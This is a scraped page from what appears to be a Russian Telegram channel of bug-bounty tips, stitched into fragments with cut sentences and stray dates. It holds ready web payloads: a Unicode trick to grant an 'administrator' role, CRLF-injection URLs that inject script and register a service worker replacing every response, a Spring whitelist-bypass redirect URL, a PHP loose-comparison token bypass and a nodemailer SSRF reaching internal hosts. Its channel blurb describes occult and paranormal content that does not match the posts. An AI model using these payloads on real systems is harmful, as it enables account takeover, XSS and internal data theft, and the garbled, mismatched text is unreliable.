История о нахождении и раскрутке RCE в публичной багбаунти программе.
Ссылка на статью
#web #rce #recon
SHADOW:Group - это Telegram-канал, который предлагает уникальное сообщество для всех любителей мистики, загадок и тайн. Здесь вы найдете увлекательные обсуждения, интересные статьи и самые свежие новости из мира теней.
SHADOW:Group - это не просто канал, это место, где вы сможете встретить единомышленников, обсудить самые загадочные явления и узнать что-то новое для себя. Каждый день на канале появляются новые посты, которые поднимают важные и захватывающие темы.
Если вы увлечены темами оккультизма, паранормальных явлений и загадочной сущности теней, то SHADOW:Group - это именно то место, где вам следует быть. Присоединяйтесь к нашему каналу, делитесь своими мыслями и идеями, общайтесь с интересными людьми и давайте узнаем больше вместе!🌑🔮
Чат: @shadow_chat_tg
По вопросам сотрудничества и предложениям обращайтесь:
@shdwpwn
12 Feb, 08:47
25 Jan, 11:42
15 Jan, 05:14
26 Dec, 15:51
11 Dec, 15:18
18 Nov, 06:55
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
ujson
, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
10 Nov, 12:27
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Service-Worker-Allowed:/
, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
31 Oct, 06:10
[
в сегменте юзеринфо может привести к тому, что UriComponentsBuilder
в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.http://target.com/redirect?url=https://target.com%[email protected]
29 Oct, 15:30
22 Oct, 06:41
<?php
$input = $_GET["password"];
$answer = json_decode($input);
//random 16 character token
$token = base64_encode(bin2hex(random_bytes(16)));
$password = $answer->password;
if ($password == $token) {
echo "Admin Panel";
} else {
echo "Error Encoutered! Wrong Token!<br>";
echo "Your token was: $token";
}
?>
17 Oct, 06:47
email_attachments
на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:GET / HTTP/1.1
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close
email_attachments
, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.data:URI
, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.http://10.10.1.3:3000/api/v1/apps/list%23test.txt
.send_email
с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.03 Oct, 15:44
27 Sep, 13:25
26 Sep, 10:01
25 Sep, 16:35
20 Sep, 21:07
headless
моде с помощью действия waitdialog
. Говоря по простому, теперь можно составить шаблон, который будет понимать, когда выскакивает alert()
, что позволит искать в том числе и DOM XSS.id: xss-detection
info:
name: Test Template for DOM XSS
author: shdwpwn
severity: medium
description: Test Template for DOM XSS
reference: https://blog.projectdiscovery.io/simplifying-xss-detection-with-nuclei/
tags: xss
headless:
- steps:
- args:
url: "{{BaseURL}}/?search=<img/src/onerror=alert()>"
action: navigate
- action: waitdialog
name: popup
matchers:
- type: dsl
dsl:
- popup == true
condition: and
nuclei -headless -t dom-xss-test.yaml -u https://blablabla.web-security-academy.net
20 Sep, 13:03
17 Sep, 07:48
09 Sep, 10:56
04 Sep, 14:16
01 Sep, 09:43
27 Aug, 10:12
24 Aug, 09:24
17 Aug, 07:44
13 Aug, 10:31
08 Aug, 09:42
07 Aug, 07:22
30 Jul, 07:00
29 Jul, 06:12